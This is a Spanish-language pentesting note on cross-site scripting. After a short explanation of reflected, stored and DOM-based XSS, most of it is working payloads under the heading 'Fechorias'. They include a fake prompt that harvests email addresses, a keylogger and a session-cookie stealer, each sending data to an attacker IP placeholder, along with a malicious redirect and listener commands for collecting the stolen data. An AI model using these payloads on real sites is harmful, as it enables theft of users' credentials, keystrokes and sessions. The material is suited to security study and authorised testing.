# XSS

XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad informática que permite a los atacantes ejecutar código malicioso en la página web de un usuario sin su conocimiento. Esto puede resultar en el robo de información personal y confidencial.&#x20;

El ataque XSS implica la inserción de código malicioso en una página web vulnerable, que se ejecuta en el navegador del usuario. Existen diferentes tipos de XSS, como el **reflejado**, **almacenado** y **DOM-Based**.&#x20;

Estos ataques pueden tener graves consecuencias, por lo que es fundamental que los desarrolladores implementen medidas de seguridad, como la validación de datos de entrada y la eliminación de código HTML peligroso, para prevenir estas vulnerabilidades. Además, limitar los permisos de JavaScript en el navegador del usuario también puede ser una medida eficaz para mitigar los riesgos del XSS.

## Inyeccion HTML

Al atacar, es una buena señal encontrar inyecciones html.

```markdown
Esto es una <h1>prueba</h1>
```

```markdown
<marquee> Hacked </marquee>       # Para que el texto se vea movil
```

## Payload

El clasico que se ve es el siguiente, si retorna la alerta, ya se puede considerar "reportable"

```javascript
<script>alert("XSS");</script>
```

<pre class="language-javascript"><code class="lang-javascript"><strong>&#x3C;script>alert(document.domain);&#x3C;/script>
</strong>&#x3C;img src=1 onerror=alert(1)>
</code></pre>

### Fechorias

#### Secuestro de correos

Si el siguiente script esta dentro del lugaar vulnerable, en este caso un post, al abrir un servidor http con `python3 -m http.server 80` podras ver en texto claro el correo ingresado.

```javascript
<script>
	var email = prompt("Por favor, introduce tu correo electronico para visualizar el post", "example@example.com");

	if (email == null || email == ""){
		alert("Es necesario introducir un correo valido para visualizar el post");
	} else {
		fetch("http://<Tu IP>/?email=" + email);
	}
</script>
```

#### Keylogger

```javascript
<script>
	var k = "";
	document.onkeypress = function(e) {      //Funcion ejecutada al apretar una tecla
		e = e || window.event; // Seguridad de que funcionara en cualquier navegador
		k += e.key; //"k" tendra el valor de la tecla apretada
		var i = new Image();
		i.src = "http://<My IP>/" + k; // Se aprovecha de enviar peticiones
	}
</script>
```

Ahora, que deberia tiener el servidor que recibe?

```bash
python3 -m http.server 2>&1 | grep -oP 'GET /\K[^.*/s*]+' # [^.*/s*]+ Filtrar de aqui en adelante hasta un espacio
python3 -m http.server 2>&1 | grep -oP 'GET /\K[^.*/s*]+' | sed 's/%20//g' # Arreglar este codigo, para cambiar los %20 a espacios.
```

### Redirect

```javascript
<script>
	window.location.href="https://sitiomalicioso";
</script>
```

### External JavaScript Source

Aqui se trabaja en armar un java script aparte.

```javascript
<script>
	src="http://<My IP>/test.js";
</script>
```

Java script aparte para robar la cookie de sesion, en este caso las cookies son JSON Web Token:

```js
<script>
	var request = new XMLHttpRequest();
	request.open('GET', 'http://<My IP>/?cookie=' + document.cookie); // Request te enviara la cookie de sesion.
	request.send()
</script>
```

Una forma de defensa ante el robo de cookie, es ver en **Application > HttpOnly**, si esta en *check* por defecto, significa que no puedes robar la cookie.
